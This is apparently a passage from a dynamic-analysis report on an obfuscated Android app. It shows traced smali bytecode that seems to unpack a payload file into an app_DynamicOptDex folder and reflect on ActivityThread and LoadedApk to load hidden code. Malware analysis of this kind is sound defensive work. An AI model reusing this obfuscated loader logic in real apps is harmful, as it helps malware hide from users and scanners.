                                            307sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            308sget v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            309sget v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            310mul-int v0, v0, v1
                                            311xor-int/2addr v0, v2
                                            312int-to-float v0, v0
                                            313sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->rxApflPCnMcAU_249442:F
                                            314goto/16 :goto_26e
                                            315cond_258: sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            316const v1, 0x49960
                                            317sget v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            318sget v7, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            319and-int/2addr v0, v1
                                            320and-int/2addr v0, v2
                                            321xor-int/2addr v0, v7
                                            322int-to-float v0, v0
                                            323sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->rxApflPCnMcAU_249442:F
                                            324sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            325sget v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            326sub-int/2addr v0, v1
                                            327sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            328goto_26e:
                                            329invoke-static {v3}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->fringeangle(Ljava/io/OutputStream;)V
                                            330return v8
                                            331cond_272: const/4 v14, 0x7
                                            332const/16 v15, 0x9
                                            334invoke-static {v3, v0, v7}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->hybridegg(Ljava/io/OutputStream;[BI)V
                                            335try_end_278: goto/16 :goto_129
                                            336catch_27a: nop
                                            337goto/16 :goto_285
                                            338catch_27c: move-exception v0
                                            339goto/16 :goto_293
                                            340catch_27e: const/4 v3, 0x0
                                            341goto/16 :goto_285
                                            342catch_280: move-exception v0
                                            343const/4 v3, 0x0
                                            344goto/16 :goto_293
                                            345catch_283: const/4 v3, 0x0
                                            346const/4 v6, 0x0
                                            347goto_285: if-eqz v6, :cond_28a
                                            349invoke-static {v6}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->circlespin(Ljava/io/InputStream;)V
                                            350cond_28a: if-eqz v3, :cond_28f
                                            352invoke-static {v3}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->fringeangle(Ljava/io/OutputStream;)V
                                            353cond_28f: return v5
                                            354catch_290: move-exception v0
                                            355const/4 v3, 0x0
                                            356const/4 v6, 0x0
                                            357goto_293:
                                            358invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                                            359sput v4, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            360sget-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            361sget-wide v7, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            362and-long/2addr v0, v7
                                            363sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            364sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            365const v1, 0xbaef
                                            366if-ge v0, v1, :cond_2d7
                                            367const v0, 0xbb248
                                            368sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            369sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            370const v1, 0x67716
                                            371shr-int/2addr v0, v1
                                            372sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            373sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            374sget v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            375sget v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            376div-int v4, v0, v1
                                            377or-int/2addr v2, v4
                                            378int-to-double v7, v2
                                            379sput-wide v7, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            380const v2, 0x36a1b
                                            381sput v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            382sget v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            383const v4, 0x65b88
                                            384shr-int/2addr v2, v4
                                            385sput v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            386sget v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            387const v4, 0x16339
                                            388or-int/2addr v2, v4
                                            389or-int/2addr v0, v2
                                            390or-int/2addr v0, v1
                                            391int-to-float v0, v0
                                            392sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->rxApflPCnMcAU_249442:F
                                            393cond_2d7: if-eqz v6, :cond_2dc
                                            395invoke-static {v6}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->circlespin(Ljava/io/InputStream;)V
                                            396cond_2dc: if-nez v3, :cond_2df
                                            397return v5
                                            398cond_2df:
                                            399invoke-static {v3}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->fringeangle(Ljava/io/OutputStream;)V
                                            400return v5
                                            Cross References
                                            APIs
                                            • access.pact.agent.DShYpWtBhUhFx.CNrXaKuEgJjUgEzDaBoDi:Ljava/lang/String
                                            • java.io.File.<init>
                                            • java.io.File.getAbsolutePath
                                            Strings
                                            • /data/user/0/access.pact.agent/app_DynamicOptDex
                                            • DAOO.json
                                            Position Instruction Meta Information
                                            0sget v0, Laccess/pact/agent/DShYpWtBhUhFx;->GamMbuILkdRpCQGmijTLA_460789:I
                                            1const v1, 0x9a7ed
                                            2if-ne v0, v1, :cond_23
                                            3const/4 v1, 0x0
                                            4sput v1, Laccess/pact/agent/DShYpWtBhUhFx;->bRPwodBnPhqkbuLOp_395799:I
                                            5sget v1, Laccess/pact/agent/DShYpWtBhUhFx;->bRPwodBnPhqkbuLOp_395799:I
                                            6iget v2, p0, Laccess/pact/agent/DShYpWtBhUhFx;->WEonIjoyYhYRfqmGYFQeD_958288:I
                                            7sub-int v3, v1, v2
                                            8or-int/2addr v3, v0
                                            9int-to-float v3, v3
                                            10iput v3, p0, Laccess/pact/agent/DShYpWtBhUhFx;->pjcmHymhjZIJgCGMwgh_55846:F
                                            11or-int v3, v2, v1
                                            12int-to-float v3, v3
                                            13iput v3, p0, Laccess/pact/agent/DShYpWtBhUhFx;->pjcmHymhjZIJgCGMwgh_55846:F
                                            14const v3, 0x8cc7a
                                            15xor-int/2addr v0, v1
                                            16or-int/2addr v0, v3
                                            17or-int/2addr v0, v2
                                            18int-to-float v0, v0
                                            19iput v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->pjcmHymhjZIJgCGMwgh_55846:F
                                            20goto/16 :goto_41
                                            21cond_23: iget v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->pjcmHymhjZIJgCGMwgh_55846:F
                                            22const v1, 0x47cad980 # 103859.0f
                                            23sub-float v1, v0, v1
                                            24div-float/2addr v0, v0
                                            25add-float/2addr v1, v0
                                            26iput v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->pjcmHymhjZIJgCGMwgh_55846:F
                                            27iget-wide v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->d_7677908:J
                                            28iget-wide v2, p0, Laccess/pact/agent/DShYpWtBhUhFx;->UnOeWYZXiLGxCtQB_9644219:J
                                            29const-wide/32 v4, 0x60d1a8
                                            30iget-wide v6, p0, Laccess/pact/agent/DShYpWtBhUhFx;->uRsEKQxPeRmkaR_3120710:J
                                            31add-long/2addr v0, v2
                                            32mul-long v6, v6, v4
                                            33add-long/2addr v0, v6
                                            34iput-wide v0, p0, Laccess/pact/agent/DShYpWtBhUhFx;->d_7677908:J
                                            35const/16 v0, 0x7b
                                            36sput v0, Laccess/pact/agent/DShYpWtBhUhFx;->bRPwodBnPhqkbuLOp_395799:I
                                            37goto_41: new-instance v0, Ljava/io/File;
                                            39iget-object v1, p0, Laccess/pact/agent/DShYpWtBhUhFx;->CNrXaKuEgJjUgEzDaBoDi:Ljava/lang/String;
                                            41invoke-direct {v0, p1, v1}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                            • Time: 1496736
                                              • This:
                                                • /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                              • p0: /data/user/0/access.pact.agent/app_DynamicOptDex
                                              • p1: DAOO.json
                                              • Return:
                                                • /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                            43invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                                            44move-result-object p1
                                            45return-object p1
                                            Cross References
                                            APIs
                                            • java.lang.Object.<init>
                                            • android.content.Context.getApplicationContext
                                            • android.content.Context.getSharedPreferences
                                            Strings
                                            • shared_keys
                                            Position Instruction Meta Information
                                            0const/4 v2, 0x0
                                            2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                            3iput-boolean v2, p0, Limprove/harbor/eager/g;->c:Z
                                            5const-string v0, "shared_keys"
                                            7invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                            • Time: 1515424
                                              • This:
                                                • improve.harbor.eager.PreActivity@3b8e052
                                              • Return:
                                                • access.pact.agent.DShYpWtBhUhFx@9611a7f
                                            8move-result-object v1
                                            10invoke-virtual {v1, v0, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
                                            11move-result-object v0
                                            12iput-object v0, p0, Limprove/harbor/eager/g;->b:Landroid/content/SharedPreferences;
                                            13return-void
                                            APIs
                                            • android.content.Intent.<init>
                                            • improve.harbor.eager.SettingsActivity.sendBroadcast
                                            • android.app.Activity.onDestroy
                                            Strings
                                            • SettingsClosed
                                            Position Instruction Meta Information
                                            0new-instance v0, Landroid/content/Intent;
                                            2const-string v1, "SettingsClosed"
                                            4invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                            6invoke-virtual {p0, v0}, Limprove/harbor/eager/SettingsActivity;->sendBroadcast(Landroid/content/Intent;)V
                                            • Time: 1521177
                                              • This:
                                                • improve.harbor.eager.SettingsActivity@2fb9086
                                              • p0: Intent { act=SettingsClosed }
                                            8invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
                                            9return-void
                                            Cross References
                                            APIs
                                            • java.io.FileOutputStream.<init>
                                            • java.io.FileOutputStream.write
                                            Strings
                                            • /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/io/IOException;
                                            3}
                                            4.end annotation
                                            5sget-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            6sget-wide v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->DHkEKXuNLLrsjXYOeiI_6988010:J
                                            7sget-wide v4, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            8const-wide/32 v6, 0x3a11d1
                                            9mul-long v6, v6, v2
                                            10mul-long v6, v6, v4
                                            11add-long/2addr v6, v0
                                            12sput-wide v6, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            13sget-wide v4, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            14const-wide v6, 0x4101ee6000000000L # 146892.0
                                            15mul-double v6, v6, v4
                                            16const-wide v8, 0x411bc4a400000000L # 454953.0
                                            17mul-double v4, v4, v8
                                            18add-double/2addr v6, v4
                                            19sput-wide v6, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            20sget v4, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            21sget v5, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            22const v6, 0xfb61
                                            23and-int/2addr v6, v5
                                            24or-int/2addr v6, v4
                                            25const v7, 0x64a74
                                            26or-int/2addr v6, v7
                                            27sput v6, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            28sget v6, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            29const v7, 0x44831
                                            30if-le v5, v7, :cond_50
                                            31const v5, 0x1bd52
                                            32sub-int v5, v4, v5
                                            33sput v5, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            34const v5, 0xb7d3
                                            35sget v6, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            36div-int/2addr v4, v6
                                            37xor-int/2addr v4, v5
                                            38sput v4, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            39sget-wide v4, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            40div-long/2addr v0, v4
                                            41xor-long/2addr v0, v2
                                            42sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            43goto/16 :goto_b3
                                            44cond_50: const v0, 0xa9115
                                            45if-gt v5, v0, :cond_69
                                            46const v0, 0x84d9c
                                            47if-le v6, v0, :cond_69
                                            48const/16 v0, 0x6f
                                            49sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            50const/16 v0, -0x11
                                            51sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            52sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            53and-int/2addr v0, v6
                                            54int-to-double v0, v0
                                            55sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            56goto/16 :goto_b3
                                            57cond_69: const v0, 0x95ef5
                                            58if-ge v5, v0, :cond_8e
                                            59const v0, 0xf1be6
                                            60if-ne v6, v0, :cond_74
                                            61goto/16 :goto_8e
                                            62cond_74: const/16 v0, 0x3e97
                                            63if-le v5, v0, :cond_b3
                                            64const v0, 0x47f7b
                                            65if-ne v6, v0, :cond_b3
                                            66sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            67sget v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            68sget v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            69mul-int v0, v0, v1
                                            70xor-int/2addr v0, v2
                                            71int-to-double v0, v0
                                            72sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            73const/16 v0, 0x4a
                                            74sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            75goto/16 :goto_b3
                                            76goto_8e: const/16 v0, 0xfb
                                            77sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            78const v0, 0x24cc8
                                            79sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            80sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            81const v1, 0x49020
                                            82shr-int/2addr v0, v1
                                            83sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            84const/16 v0, 0x77
                                            85sput v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            86const v0, 0xb33a7
                                            87sget v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            88sget v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            89sget v3, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            90mul-int v1, v1, v0
                                            91mul-int v1, v1, v2
                                            92div-int/2addr v1, v3
                                            93sput v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            94goto_b3: new-instance v0, Ljava/io/FileOutputStream;
                                            96invoke-direct {v0, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;)V
                                            • Time: 1498271
                                              • This:
                                                • java.io.FileOutputStream@bc00dc0
                                              • p0: /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                              • Return:
                                                • java.io.FileOutputStream@bc00dc0
                                            97const/16 p1, 0xb6
                                            98sput p1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            99const/16 p1, 0x12
                                            100sput p1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            101const/16 p1, 0x5f
                                            102sput p1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            104invoke-virtual {v0, p0}, Ljava/io/FileOutputStream;->write([B)V
                                            105const/4 p0, 0x0
                                            106goto_c8: const/16 p1, 0x19
                                            107if-eq p0, p1, :cond_11d
                                            108sget-wide v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->DHkEKXuNLLrsjXYOeiI_6988010:J
                                            109sget-wide v3, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            110div-long v5, v1, v3
                                            111sput-wide v5, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            112const p1, 0xd0d88
                                            113sput p1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            114sget p1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            115const v5, 0x69dc4
                                            116shl-int/2addr p1, v5
                                            117sput p1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            118const/16 p1, 0x3f
                                            119sput p1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            120sget-wide v5, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            121const-wide v7, 0x411bc09400000000L # 454693.0
                                            122div-double/2addr v7, v5
                                            123div-double/2addr v7, v5
                                            124sub-double/2addr v5, v7
                                            125sput-wide v5, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            126sget v5, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            127sget v6, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            128const v7, 0xadcbf
                                            129if-lt v5, v7, :cond_10b
                                            130const/16 v5, 0x20
                                            131sput v5, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            132const/16 v5, 0x5b
                                            133sput v5, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            134sput p1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            135sget-wide v5, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            136sub-long/2addr v1, v3
                                            137and-long/2addr v1, v5
                                            138sput-wide v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            139goto/16 :goto_11a
                                            140cond_10b: const p1, 0x63f93
                                            141if-gt v5, p1, :cond_11a
                                            142const p1, 0x9cf30
                                            143if-le v6, p1, :cond_11a
                                            144sget-wide v3, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            145add-long/2addr v3, v1
                                            146sput-wide v3, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            147cond_11a: add-int/lit8 p0, p0, 0x1
                                            148goto/16 :goto_c8
                                            149cond_11d:
                                            150invoke-static {v0}, Laccess/pact/agent/PLrXdYwWdYpDiKl;->scalerange(Ljava/io/FileOutputStream;)V
                                            151return-void
                                            Cross References
                                            APIs
                                            • java.lang.Class.forName
                                            Strings
                                            • android.app.ActivityThread
                                            • android.app.LoadedApk
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4")",
                                            5"Ljava/lang/Class<",
                                            6"*>;"
                                            7}
                                            8.end annotation
                                            9.annotation system Ldalvik/annotation/Throws;
                                            10value = {
                                            11Ljava/lang/ClassNotFoundException;
                                            12}
                                            13.end annotation
                                            14iget v0, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            15sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            16sget v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            17div-int v2, v1, v2
                                            18const v3, 0x44bbf
                                            19mul-int v2, v2, v3
                                            20sub-int v2, v0, v2
                                            21sput v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            22const v2, 0x1a4e5
                                            23sput v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            24sget v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            25const v3, 0xa5d2a
                                            26shr-int/2addr v2, v3
                                            27sput v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            28const v2, 0x2a76e
                                            29if-ne v0, v2, :cond_40
                                            30sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            31const v2, -0x24b23
                                            32mul-int v1, v1, v0
                                            33add-int/2addr v2, v1
                                            34sput v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            35const v1, 0x628b7
                                            36sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            37sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            38const v2, 0x8caac
                                            39shr-int/2addr v1, v2
                                            40sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            41sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            42or-int/2addr v0, v1
                                            43iput v0, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            44goto/16 :goto_53
                                            45cond_40: const v2, 0x3a586
                                            46if-le v0, v2, :cond_53
                                            47const v2, 0x2c321
                                            48if-eq v1, v2, :cond_53
                                            49const/16 v1, 0x2e
                                            50sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            51sget v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            52or-int/2addr v0, v1
                                            53iput v0, p0, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->OuOMmsIwOYbW_33:I
                                            54goto_53:
                                            55invoke-static {p1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                            • Time: 1498839
                                              • p0: android.app.ActivityThread
                                              • Return:
                                                • class android.app.ActivityThread
                                                • getName: android.app.ActivityThread
                                            • Time: 1498846
                                              • p0: android.app.LoadedApk
                                              • Return:
                                                • class android.app.LoadedApk
                                                • getName: android.app.LoadedApk
                                            56move-result-object p1
                                            57return-object p1
                                            Cross References
                                            APIs
                                            • access.pact.agent.DShYpWtBhUhFx.typicalribbon
                                            Strings
                                            • DynamicOptDex
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x2
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0xd
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_12c
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_154
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
